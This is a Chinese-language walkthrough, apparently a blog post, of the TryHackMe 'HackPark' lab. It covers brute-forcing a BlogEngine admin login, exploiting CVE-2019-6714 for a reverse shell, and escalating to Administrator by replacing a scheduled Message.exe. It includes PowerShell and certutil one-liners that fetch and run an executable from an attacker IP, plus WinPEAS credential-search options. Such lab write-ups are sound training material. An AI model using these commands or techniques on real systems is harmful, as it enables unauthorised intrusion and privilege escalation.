tryhackme--HackPark

初始访问

  • 目标web服务BlogEngine管理页面存在暴力破解漏洞并且存在弱密码,通过暴力破解获取到账户名和密码:admin:1qaz2wsx
  • 根据BlogEngine(3.3.6.0)的版本号,在exploit-db上搜索,发现曾存在历史漏洞CVE-2019-6714,根据公开exp显示,该漏洞的利用共分为两步:
    • http://xxx.xxx.xxx.xxx/admin/app/editor/editpost.cshtml存在任意文件上传功能,可以利用此漏洞上传.ascx用户控件文件
    • 请求http://10.10.10.10/?theme=../../App_Data/files触发漏洞
      注:上传的是exploit-db的脚本的话,需要在上传前修改反弹shell的ip端口为自己本机的
      image
      权限提升
  • 上传cs或msf木马到主机上,然后利用初始访问时获得的反弹shell执行木马程序
    以下有几种在windows上远程下载文件的方法:
powershell iex (New-Object System.Net.WebClient).Downloadfile('http://10.13.30.138:1234/123.exe','123.exe');Start-Process '123.exe'
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile ('http://10.13.30.138:1234/123.exe','123.exe')
powershell -c "Invoke-WebRequest -Uri 'http://10.13.30.138:1234/123.exe' -OutFile 'C:\Windows\Temp\123.exe'"
certutil -urlcache -split -f http://10.13.30.138:1234/123.exe C:\123.exe

注:在本题中,以上几种方法我都没成功,我的方式是利用初始访问时发现的任意文件上传漏洞,上传木马到本机,然后执行如下命令搜索木马所在的位置

dir /S 123.exe
C:\>dir /S 123.exe
 Volume in drive C has no label.
 Volume Serial Number is 0E97-C552
 Directory of C:\inetpub\wwwroot\App_Data\files
07/19/2023  07:13 AM            14,336 123.exe
               1 File(s)         14,336 bytes
quiet              不打印banner
notcolor           不使用ansi颜色(全白)
domain             枚举域信息
systeminfo         查询系统信息
userinfo           查询用户信息
processinfo        查询进程信息
servicesinfo       查询服务信息
applicationsinfo   查询已安装的应用程序信息
networkinfo        查询网络信息
windowscreds       搜索Windows凭据
browserinfo        搜索浏览器信息
filesinfo          搜索可能包含凭据的通用文件
fileanalysis       搜索可能包含凭据的特定文件
eventsinfo         显示感兴趣的事件信息
wait               在两次检查之间等待用户输入
debug              显示调试信息-内存使用情况,方法执行时间
log[=logfile]      记录所有输出到定义为logfile的文件,如果未指定则记录到"out.txt"

额外的检查(慢):

-lolbas            运行额外的LOLBAS检查
-linpeas=[url]     运行额外的linpeas.sh检查默认的WSL分发,也可以选择提供定制的linpeas.sh url(默认值:https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh)

在本题中通过WinPEAS.exe servicesinfo获取到如下信息(部分):

=================================================================================================                                                                              
    WindowsScheduler(Splinterware Software Solutions - System Scheduler Service)[C:\PROGRA~2\SYSTEM~1\WService.exe] - Auto - Running                                              
    File Permissions: Everyone [WriteData/CreateFiles]
    Possible DLL Hijacking in binary folder: C:\Program Files (x86)\SystemScheduler (Everyone [WriteData/CreateFiles])                                                            
    System Scheduler Service Wrapper
   =================================================================================================  

这是windows的下的计划任务程序,通过查看其日志发现,此程序一直以管理员权限启动Message.exe程序,而Message.exe程序是异常程序经常会自动崩溃,导致计划任务一直重启此程序。再通过上文收集到的信息发现C:\Program Files (x86)\SystemScheduler这个文件夹任意用户都具有写文件的权限。

type 20198415519.INI_LOG.txt
C:\Program Files (x86)\SystemScheduler\Events>type 20198415519.INI_LOG.txt
08/04/19 15:06:01,Event Started Ok, (Administrator)
08/04/19 15:06:30,Process Ended. PID:2608,ExitCode:1,Message.exe (Administrator)
08/04/19 15:07:00,Event Started Ok, (Administrator)
08/04/19 15:07:34,Process Ended. PID:2680,ExitCode:4,Message.exe (Administrator)
08/04/19 15:08:00,Event Started Ok, (Administrator)
08/04/19 15:08:33,Process Ended. PID:2768,ExitCode:4,Message.exe (Administrator)
  • 漏洞利用思路:生成木马起名为Message.exe,替换原Message.exe,从而获得Administrator的权限
posted @ 2023-07-28 14:06  墨宸  阅读(70)  评论(0)    收藏  举报